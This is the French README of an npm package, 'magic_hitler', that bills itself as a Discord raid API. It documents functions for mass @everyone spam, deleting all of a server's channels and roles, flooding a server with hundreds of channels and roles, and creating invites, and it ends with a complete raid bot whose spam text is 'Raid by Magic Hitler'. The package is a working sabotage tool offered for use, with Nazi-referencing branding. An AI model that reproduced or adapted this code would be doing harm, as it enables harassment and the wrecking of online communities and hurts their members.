Magic Hitler
Discord Raid API

Nouveautés
Refonte à 100% de tout le fonctionnement de l'API
Pour installer Discord Raid Bot, éxecutez simplement la commande npm i magic_hitler dans le dossier de votre
application Node.Js.
Pour utiliser l'API de raid, intégrez les lignes suivante à votre code :
const Discord = require('discord.js');
const MagicHitler = require('magic_hitler');
const client = new Discord.Client();
const raid = new MagicHitler.Client({
client: client,
prefix: "!" // Optionnel ; Préfixe pour les commandes
});
Messages
Envoyer un message dans un salon spécifique
| Paramètre | Type | Optionnel | Description | 
|---|
| message | String | Non | Message à envoyer | 
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
raid.sendMessage(message, commande);
Spammer un message dans un ou plusieurs salons
| Paramètre | Type | Optionnel | Description | 
|---|
| message | String | Non | Message à envoyer | 
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
| parametres | Object | Oui | Paramètres du spam | 
| parametres.messageNumber | Number | Oui | Nombre de messages à envoyer (500 par défaut) | 
| parametres.allChannels | Boolean | Oui | Spamme dans tous les salons du serveur si activé\ | 
raid.spamMessages(message, commande, {
    messageNumber: 500,
    allChannels: false
});
Événements
Afficher quelques informations sur le bot dans la console
raid.ready();
Salons
Supprimer le salon dans lequel la commande est envoyée
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
raid.deleteChannel(commande);
Supprimer tous les salons d'un serveur
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
| parametres | Object | Oui  | Parametres de la suppression | 
| parametres.createChannel | Boolean | Oui | Crée un salon lorsque tous les autres sont supprimés | 
| parametres.createdChannelName | String | Oui | Nom du salon créé | 
| parametres.createChannelMessage | String | Oui | Message à envoyer dans le salon créé | 
| parametres.deleteSpecificChannels | Number | Oui | (Non compatible avec les autres paramètres) Supprime un nombre donné de salons seulement | 
raid.deleteChannels(commande, {
    createChannel: true,
    createdChannelName: "nom-du-salon-créé",
    createChannelMessage: "Message envoyé dans celui-ci"
});
Créer des salons sur un serveur
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
| parametres | Object | Oui  | Parametres de la création | 
| parametres.createChannelName | String | Oui | Nom des salons créés | 
| parametres.sendMessageContent | String | Oui | Messages envoyés dans chaque nouveau salon | 
| parametres.sendMessageCount | Number | Oui | Nombre de messages envoyés dans chaque salon | 
| parametres.createChannelCount | Number | Oui | Nombre de salons créés (laisser vide pour que le nombre total de salons soit de 500) | 
raid.createChannels(commande, {
    createChannelName: "nom-des-salons-créés",
    createChannelCount: 100,
    sendMessageCount: 50,
    sendMessageContent: "Message envoyé"
});
Créer une invitation pour un ou plusieurs serveurs
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
| allGuilds | Boolean | Oui | Crée une invitation pour tous les serveurs du bot | 
raid.createInvite(commande, allGuilds);
Rôles
Supprimer tous les rôles d'un serveur
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
raid.deleteRoles(commande);
Créer des rôles sur un serveur
| Paramètre | Type | Optionnel | Description | 
|---|
| commande | String | Non | Commande à envoyer pour déclencher la fonction | 
| parametres | Object | Oui | Paramètres de la création | 
| parametres.rolesName | String | Oui | Nom des rôles à créer | 
| parametres.rolesNumber | Number | Oui | Nombre de rôles à créer | 
Exemple complet de bot raid complet**
const Discord = require('discord.js');
const MagicHitler = require('magic_hitler');
const client = new Discord.Client();
const raid = new MagicHitler({
    client: client,
    prefix: "!"
});
raid.ready();
raid.sendMessage("Test réussi", "test");
raid.spamMessage("@everyone Raid by Magic Hitler", "spam", {
    messageNumber: 100,
    allChannels: false
});
raid.spamMessage("@everyone Raid by Magic Hitler", "spamAllChannels", {
    messageNumber: 20,
    allChannels: true
});     // On peut déclarer plusieurs fois la même fonction
raid.deleteChannel("del");
raid.deleteChannels("delAll", {
    createChannel: true,
    createdChannelName: "raid-by-magic-hitler",
    createChannelMessage: "@everyone Raid by Magic Hitler"
});
raid.createChannels("create", {
    createChannelName: "magic-hitler",
    sendMessageContent: "@everyone Raid by Magic Hitler",
    sendMessageCount: 3,
    createChannelCount: 222
});
raid.createInvite("invite", false);
raid.createInvite("inviteall", true);
raid.deleteRoles("delRoles");
raid.createRoles("createRoles", {
    rolesNumber: 69,
    rolesName: "Magic Hitler"
});
client.login('token de votre bot');
Plus de 400 lignes de codes résumées en 31.